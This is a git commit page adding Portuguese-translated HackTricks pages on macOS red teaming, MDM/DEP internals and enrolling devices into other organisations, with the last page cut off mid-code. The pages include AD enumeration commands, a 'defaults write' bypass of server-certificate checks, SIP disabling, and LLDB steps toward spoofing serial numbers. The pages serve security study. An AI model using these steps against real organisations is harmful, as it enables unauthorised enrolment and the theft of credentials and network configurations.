mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 05:33:33 +00:00
Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden
This commit is contained in:
parent
7300545d10
commit
dd76564270
11 changed files with 790 additions and 39 deletions
BIN
.gitbook/assets/Pasted Graphic 14.png
Normal file
BIN
.gitbook/assets/Pasted Graphic 14.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 1.2 MiB |
|
@ -144,9 +144,6 @@
|
|||
* [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
|
||||
* [macOS Kernel](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
|
||||
* [macOS Kernel Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
|
||||
* [macOS MDM](macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md)
|
||||
* [Enrolling Devices in Other Organisations](macos-hardening/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md)
|
||||
* [macOS Serial Number](macos-hardening/macos-security-and-privilege-escalation/macos-mdm/macos-serial-number.md)
|
||||
* [macOS Network Services & Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
* [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
|
||||
* [macOS File Extension & URL scheme app handlers](macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md)
|
||||
|
@ -162,6 +159,7 @@
|
|||
* [macOS XPC Connecting Process Check](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-connecting-process-check.md)
|
||||
* [macOS PID Reuse](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md)
|
||||
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-authorization.md)
|
||||
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
|
||||
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
|
||||
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
|
@ -173,7 +171,10 @@
|
|||
* [macOS TCC](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md)
|
||||
* [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-scripts.md)
|
||||
* [macOS Users](macos-hardening/macos-security-and-privilege-escalation/macos-users.md)
|
||||
* [macOS Red Teaming](macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming.md)
|
||||
* [macOS Red Teaming](macos-hardening/macos-red-teaming/README.md)
|
||||
* [macOS MDM](macos-hardening/macos-red-teaming/macos-mdm/README.md)
|
||||
* [Enrolling Devices in Other Organisations](macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md)
|
||||
* [macOS Serial Number](macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md)
|
||||
* [macOS Useful Commands](macos-hardening/macos-useful-commands.md)
|
||||
* [macOS Auto Start Locations](macos-hardening/macos-auto-start-locations.md)
|
||||
|
||||
|
|
125
macos-hardening/macos-red-teaming/README.md
Normal file
125
macos-hardening/macos-red-teaming/README.md
Normal file
|
@ -0,0 +1,125 @@
|
|||
# Red Teaming em macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Métodos comuns de gerenciamento
|
||||
|
||||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
Se você conseguir **comprometer as credenciais de administrador** para acessar a plataforma de gerenciamento, poderá **potencialmente comprometer todos os computadores** distribuindo seu malware nas máquinas.
|
||||
|
||||
Para o red teaming em ambientes MacOS, é altamente recomendável ter algum entendimento de como os MDMs funcionam:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
E também sobre os **protocolos de rede** "especiais" do **MacOS**:
|
||||
|
||||
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
|
||||
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Active Directory
|
||||
|
||||
Em algumas ocasiões, você descobrirá que o **computador MacOS está conectado a um AD**. Nesse cenário, você deve tentar **enumerar** o Active Directory como está acostumado. Encontre alguma **ajuda** nas seguintes páginas:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/" %}
|
||||
[active-directory-methodology](../../windows-hardening/active-directory-methodology/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-kerberos-88/" %}
|
||||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Algumas **ferramentas locais do MacOS** que também podem ajudá-lo são `dscl`:
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
Também existem algumas ferramentas preparadas para MacOS para enumerar automaticamente o AD e brincar com o kerberos:
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound é uma extensão da ferramenta de auditoria Bloodhound que permite coletar e ingerir relacionamentos do Active Directory em hosts MacOS.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost é um projeto Objective-C projetado para interagir com as APIs Heimdal krb5 no macOS. O objetivo do projeto é permitir testes de segurança melhores em torno do Kerberos em dispositivos macOS usando APIs nativas sem exigir nenhum outro framework ou pacote no alvo.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): Ferramenta JavaScript para Automação (JXA) para fazer enumeração do Active Directory.
|
||||
```
|
||||
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
||||
```
|
||||
### Usuários
|
||||
|
||||
Existem três tipos de usuários do MacOS:
|
||||
|
||||
* **Usuários Locais** - Gerenciados pelo serviço local OpenDirectory, eles não estão conectados de nenhuma forma ao Active Directory.
|
||||
* **Usuários de Rede** - Usuários voláteis do Active Directory que requerem uma conexão com o servidor DC para autenticação.
|
||||
* **Usuários Móveis** - Usuários do Active Directory com um backup local para suas credenciais e arquivos.
|
||||
|
||||
As informações locais sobre usuários e grupos são armazenadas na pasta _/var/db/dslocal/nodes/Default._\
|
||||
Por exemplo, as informações sobre o usuário chamado _mark_ são armazenadas em _/var/db/dslocal/nodes/Default/users/mark.plist_ e as informações sobre o grupo _admin_ estão em _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
|
||||
Além de usar as bordas HasSession e AdminTo, **MacHound adiciona três novas bordas** ao banco de dados Bloodhound:
|
||||
|
||||
* **CanSSH** - entidade permitida a fazer SSH para o host
|
||||
* **CanVNC** - entidade permitida a fazer VNC para o host
|
||||
* **CanAE** - entidade permitida a executar scripts AppleEvent no host
|
||||
```bash
|
||||
#User enumeration
|
||||
dscl . ls /Users
|
||||
dscl . read /Users/[username]
|
||||
dscl "/Active Directory/TEST/All Domains" ls /Users
|
||||
dscl "/Active Directory/TEST/All Domains" read /Users/[username]
|
||||
dscacheutil -q user
|
||||
|
||||
#Computer enumeration
|
||||
dscl "/Active Directory/TEST/All Domains" ls /Computers
|
||||
dscl "/Active Directory/TEST/All Domains" read "/Computers/[compname]$"
|
||||
|
||||
#Group enumeration
|
||||
dscl . ls /Groups
|
||||
dscl . read "/Groups/[groupname]"
|
||||
dscl "/Active Directory/TEST/All Domains" ls /Groups
|
||||
dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
|
||||
|
||||
#Domain Information
|
||||
dsconfigad -show
|
||||
```
|
||||
Mais informações em [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
|
||||
## Serviços Externos
|
||||
|
||||
O Red Teaming do MacOS é diferente do Red Teaming regular do Windows, pois geralmente o **MacOS é integrado diretamente com várias plataformas externas**. Uma configuração comum do MacOS é acessar o computador usando **credenciais sincronizadas do OneLogin e acessar vários serviços externos** (como github, aws...) via OneLogin:
|
||||
|
||||
![](<../../.gitbook/assets/image (563).png>)
|
||||
|
||||
###
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://www.youtube.com/watch?v=IiMladUbL6E](https://www.youtube.com/watch?v=IiMladUbL6E)
|
||||
* [https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
|
||||
* [https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
63
macos-hardening/macos-red-teaming/macos-mdm/README.md
Normal file
63
macos-hardening/macos-red-teaming/macos-mdm/README.md
Normal file
|
@ -0,0 +1,63 @@
|
|||
# macOS MDM
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Conceitos básicos
|
||||
|
||||
### O que é MDM (Mobile Device Management)?
|
||||
|
||||
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) é uma tecnologia comumente usada para **administrar dispositivos de computação de usuários finais** como telefones celulares, laptops, desktops e tablets. No caso das plataformas Apple como iOS, macOS e tvOS, refere-se a um conjunto específico de recursos, APIs e técnicas usadas pelos administradores para gerenciar esses dispositivos. O gerenciamento de dispositivos via MDM requer um servidor MDM comercial ou de código aberto compatível que implemente suporte para o [Protocolo MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf).
|
||||
|
||||
* Uma maneira de alcançar o **gerenciamento centralizado de dispositivos**
|
||||
* Requer um **servidor MDM** que implemente suporte para o protocolo MDM
|
||||
* O servidor MDM pode **enviar comandos MDM**, como limpeza remota ou "instale esta configuração"
|
||||
|
||||
### Conceitos básicos do que é DEP (Device Enrolment Program)?
|
||||
|
||||
O [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) é um serviço oferecido pela Apple que **simplifica** o **registro** do Mobile Device Management (MDM) oferecendo **configuração sem toque** de dispositivos iOS, macOS e tvOS. Ao contr
|
||||
### **Passo 7: Escutando comandos MDM**
|
||||
|
||||
* Após a verificação do MDM ser concluída, o fornecedor pode **emitir notificações push usando APNs**
|
||||
* Ao receber, é tratado pelo **`mdmclient`**
|
||||
* Para buscar comandos MDM, é enviada uma solicitação para ServerURL
|
||||
* Faz uso do payload MDM previamente instalado:
|
||||
* **`ServerURLPinningCertificateUUIDs`** para fixar a solicitação
|
||||
* **`IdentityCertificateUUID`** para certificado de cliente TLS
|
||||
|
||||
## Ataques
|
||||
|
||||
### Matrícula de dispositivos em outras organizações
|
||||
|
||||
Como comentado anteriormente, para tentar matricular um dispositivo em uma organização, **apenas um número de série pertencente a essa organização é necessário**. Uma vez matriculado, várias organizações instalarão dados sensíveis no novo dispositivo: certificados, aplicativos, senhas WiFi, configurações VPN [e assim por diante](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Portanto, este pode ser um ponto de entrada perigoso para atacantes se o processo de matrícula não estiver corretamente protegido:
|
||||
|
||||
{% content-ref url="enrolling-devices-in-other-organisations.md" %}
|
||||
[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Referências**
|
||||
|
||||
* [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
|
||||
* [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,378 @@
|
|||
# Introdução
|
||||
|
||||
Como [**comentado anteriormente**](./#what-is-mdm-mobile-device-management), para tentar inscrever um dispositivo em uma organização, é necessário apenas um número de série pertencente a essa organização. Uma vez que o dispositivo é inscrito, várias organizações instalarão dados sensíveis no novo dispositivo: certificados, aplicativos, senhas WiFi, configurações VPN [e assim por diante](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Portanto, isso pode ser um ponto de entrada perigoso para atacantes se o processo de inscrição não estiver corretamente protegido.
|
||||
|
||||
**A pesquisa a seguir é retirada de** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe)
|
||||
|
||||
# Revertendo o processo
|
||||
|
||||
## Binários envolvidos em DEP e MDM
|
||||
|
||||
Ao longo de nossa pesquisa, exploramos o seguinte:
|
||||
|
||||
* **`mdmclient`**: Usado pelo sistema operacional para se comunicar com um servidor MDM. No macOS 10.13.3 e anteriores, também pode ser usado para acionar uma verificação DEP.
|
||||
* **`profiles`**: Um utilitário que pode ser usado para instalar, remover e visualizar perfis de configuração no macOS. Também pode ser usado para acionar uma verificação DEP no macOS 10.13.4 e posterior.
|
||||
* **`cloudconfigurationd`**: O daemon do cliente de inscrição de dispositivo, que é responsável por se comunicar com a API DEP e recuperar perfis de inscrição de dispositivo.
|
||||
|
||||
Ao usar `mdmclient` ou `profiles` para iniciar uma verificação DEP, as funções `CPFetchActivationRecord` e `CPGetActivationRecord` são usadas para recuperar o _Registro de Ativação_. `CPFetchActivationRecord` delega o controle para `cloudconfigurationd` por meio de [XPC](https://developer.apple.com/documentation/xpc), que então recupera o _Registro de Ativação_ da API DEP.
|
||||
|
||||
`CPGetActivationRecord` recupera o _Registro de Ativação_ do cache, se disponível. Essas funções são definidas no framework de perfis de configuração privados, localizado em `/System/Library/PrivateFrameworks/Configuration Profiles.framework`.
|
||||
|
||||
## Engenharia reversa do protocolo Tesla e do esquema Absinthe
|
||||
|
||||
Durante o processo de verificação DEP, `cloudconfigurationd` solicita um _Registro de Ativação_ de _iprofiles.apple.com/macProfile_. A carga útil da solicitação é um dicionário JSON contendo dois pares de chave-valor:
|
||||
```
|
||||
{
|
||||
"sn": "",
|
||||
action": "RequestProfileConfiguration
|
||||
}
|
||||
```
|
||||
O payload é assinado e criptografado usando um esquema referido internamente como "Absinthe". O payload criptografado é então codificado em Base 64 e usado como corpo da solicitação em um HTTP POST para _iprofiles.apple.com/macProfile_.
|
||||
|
||||
No `cloudconfigurationd`, a busca do _Activation Record_ é tratada pela classe `MCTeslaConfigurationFetcher`. O fluxo geral de `[MCTeslaConfigurationFetcher enterState:]` é o seguinte:
|
||||
```
|
||||
rsi = @selector(verifyConfigBag);
|
||||
rsi = @selector(startCertificateFetch);
|
||||
rsi = @selector(initializeAbsinthe);
|
||||
rsi = @selector(startSessionKeyFetch);
|
||||
rsi = @selector(establishAbsintheSession);
|
||||
rsi = @selector(startConfigurationFetch);
|
||||
rsi = @selector(sendConfigurationInfoToRemote);
|
||||
rsi = @selector(sendFailureNoticeToRemote);
|
||||
```
|
||||
Uma vez que o esquema **Absinthe** é o que parece ser usado para autenticar solicitações ao serviço DEP, **engenharia reversa** deste esquema permitiria que fizéssemos nossas próprias solicitações autenticadas à API DEP. Isso provou ser **demorado**, principalmente por causa do número de etapas envolvidas na autenticação de solicitações. Em vez de reverter completamente como esse esquema funciona, optamos por explorar outros métodos de inserir números de série arbitrários como parte da solicitação do _Activation Record_.
|
||||
|
||||
## MITMing DEP Requests
|
||||
|
||||
Exploramos a viabilidade de fazer proxy de solicitações de rede para _iprofiles.apple.com_ com [Charles Proxy](https://www.charlesproxy.com). Nosso objetivo era inspecionar a carga útil enviada para _iprofiles.apple.com/macProfile_, em seguida, inserir um número de série arbitrário e reproduzir a solicitação. Como mencionado anteriormente, a carga útil enviada para esse endpoint pelo `cloudconfigurationd` está no formato [JSON](https://www.json.org) e contém dois pares de chave-valor.
|
||||
```
|
||||
{
|
||||
"action": "RequestProfileConfiguration",
|
||||
sn": "
|
||||
}
|
||||
```
|
||||
Uma vez que a API em _iprofiles.apple.com_ usa [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) (TLS), precisamos habilitar o SSL Proxying no Charles para esse host para ver o conteúdo de texto simples das solicitações SSL.
|
||||
|
||||
No entanto, o método `-[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]` verifica a validade do certificado do servidor e abortará se a confiança do servidor não puder ser verificada.
|
||||
```
|
||||
[ERROR] Unable to get activation record: Error Domain=MCCloudConfigurationErrorDomain Code=34011
|
||||
"The Device Enrollment server trust could not be verified. Please contact your system
|
||||
administrator." UserInfo={USEnglishDescription=The Device Enrollment server trust could not be
|
||||
verified. Please contact your system administrator., NSLocalizedDescription=The Device Enrollment
|
||||
server trust could not be verified. Please contact your system administrator.,
|
||||
MCErrorType=MCFatalError}
|
||||
```
|
||||
O mensagem de erro mostrada acima está localizada em um arquivo binário _Errors.strings_ com a chave `CLOUD_CONFIG_SERVER_TRUST_ERROR`, que está localizado em `/System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings`, juntamente com outras mensagens de erro relacionadas.
|
||||
```
|
||||
$ cd /System/Library/CoreServices
|
||||
$ rg "The Device Enrollment server trust could not be verified"
|
||||
ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
|
||||
<snip>
|
||||
```
|
||||
O arquivo _Errors.strings_ pode ser impresso em um formato legível por humanos com o comando `plutil` integrado. [Veja aqui](https://duo.com/labs/research/mdm-me-maybe#error\_strings\_output).
|
||||
```
|
||||
$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
|
||||
```
|
||||
Depois de analisar mais a fundo a classe `MCTeslaConfigurationFetcher`, no entanto, ficou claro que esse comportamento de confiança do servidor pode ser contornado ativando a opção de configuração `MCCloudConfigAcceptAnyHTTPSCertificate` no domínio de preferência `com.apple.ManagedClient.cloudconfigurationd`.
|
||||
```
|
||||
loc_100006406:
|
||||
rax = [NSUserDefaults standardUserDefaults];
|
||||
rax = [rax retain];
|
||||
r14 = [rax boolForKey:@"MCCloudConfigAcceptAnyHTTPSCertificate"];
|
||||
r15 = r15;
|
||||
[rax release];
|
||||
if (r14 != 0x1) goto loc_10000646f;
|
||||
```
|
||||
A opção de configuração `MCCloudConfigAcceptAnyHTTPSCertificate` pode ser definida com o comando `defaults`.
|
||||
```
|
||||
sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes
|
||||
```
|
||||
Com o SSL Proxying habilitado para _iprofiles.apple.com_ e `cloudconfigurationd` configurado para aceitar qualquer certificado HTTPS, tentamos fazer um ataque man-in-the-middle e reproduzir as solicitações no Charles Proxy.
|
||||
|
||||
No entanto, uma vez que a carga incluída no corpo da solicitação HTTP POST para _iprofiles.apple.com/macProfile_ é assinada e criptografada com Absinthe, (`NACSign`), **não é possível modificar a carga JSON de texto simples para incluir um número de série arbitrário sem ter a chave para descriptografá-la**. Embora fosse possível obter a chave, pois ela permanece na memória, optamos por explorar o `cloudconfigurationd` com o depurador [LLDB](https://lldb.llvm.org).
|
||||
|
||||
## Instrumentando Binários do Sistema que Interagem com o DEP
|
||||
|
||||
O último método que exploramos para automatizar o processo de envio de números de série arbitrários para _iprofiles.apple.com/macProfile_ foi instrumentar binários nativos que interagem diretamente ou indiretamente com a API DEP. Isso envolveu alguma exploração inicial do `mdmclient`, `profiles` e `cloudconfigurationd` no [Hopper v4](https://www.hopperapp.com) e [Ida Pro](https://www.hex-rays.com/products/ida/), e algumas sessões longas de depuração com o `lldb`.
|
||||
|
||||
Um dos benefícios deste método em relação à modificação dos binários e à resignação com nossa própria chave é que ele contorna algumas das restrições de autorização incorporadas ao macOS que, de outra forma, poderiam nos impedir.
|
||||
|
||||
**Proteção da Integridade do Sistema**
|
||||
|
||||
Para instrumentar binários do sistema, (como `cloudconfigurationd`) no macOS, a [Proteção da Integridade do Sistema](https://support.apple.com/en-us/HT204899) (SIP) deve ser desativada. O SIP é uma tecnologia de segurança que protege arquivos, pastas e processos de nível do sistema contra adulteração e é ativado por padrão no OS X 10.11 "El Capitan" e posterior. [O SIP pode ser desativado](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System\_Integrity\_Protection\_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) iniciando no Modo de Recuperação e executando o seguinte comando no aplicativo Terminal e, em seguida, reiniciando:
|
||||
```
|
||||
csrutil enable --without debug
|
||||
```
|
||||
Vale ressaltar, no entanto, que o SIP é um recurso de segurança útil e não deve ser desativado, exceto para fins de pesquisa e teste em máquinas não produtivas. Também é possível (e recomendado) fazer isso em Máquinas Virtuais não críticas em vez do sistema operacional host.
|
||||
|
||||
**Instrumentação binária com LLDB**
|
||||
|
||||
Com o SIP desativado, pudemos prosseguir com a instrumentação dos binários do sistema que interagem com a API DEP, ou seja, o binário `cloudconfigurationd`. Como o `cloudconfigurationd` requer privilégios elevados para ser executado, precisamos iniciar o `lldb` com `sudo`.
|
||||
```
|
||||
$ sudo lldb
|
||||
(lldb) process attach --waitfor --name cloudconfigurationd
|
||||
```
|
||||
Enquanto o `lldb` está esperando, podemos anexar ao `cloudconfigurationd` executando `sudo /usr/libexec/mdmclient dep nag` em uma janela de Terminal separada. Uma vez anexado, a saída semelhante ao seguinte será exibida e os comandos LLDB podem ser digitados no prompt.
|
||||
```
|
||||
Process 861 stopped
|
||||
* thread #1, stop reason = signal SIGSTOP
|
||||
<snip>
|
||||
Target 0: (cloudconfigurationd) stopped.
|
||||
|
||||
Executable module set to "/usr/libexec/cloudconfigurationd".
|
||||
Architecture set to: x86_64h-apple-macosx.
|
||||
(lldb)
|
||||
```
|
||||
**Definindo o Número de Série do Dispositivo**
|
||||
|
||||
Uma das primeiras coisas que procuramos ao reverter `mdmclient` e `cloudconfigurationd` foi o código responsável por recuperar o número de série do sistema, já que sabíamos que o número de série era o responsável final pela autenticação do dispositivo. Nosso objetivo era modificar o número de série na memória depois que ele é recuperado do [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), e que isso fosse usado quando `cloudconfigurationd` construísse a carga útil `macProfile`.
|
||||
|
||||
Embora `cloudconfigurationd` seja o responsável final pela comunicação com a API DEP, também investigamos se o número de série do sistema é recuperado ou usado diretamente dentro do `mdmclient`. O número de série recuperado, como mostrado abaixo, não é o que é enviado para a API DEP, mas revelou um número de série codificado que é usado se uma opção de configuração específica estiver habilitada.
|
||||
```
|
||||
int sub_10002000f() {
|
||||
if (sub_100042b6f() != 0x0) {
|
||||
r14 = @"2222XXJREUF";
|
||||
}
|
||||
else {
|
||||
rax = IOServiceMatching("IOPlatformExpertDevice");
|
||||
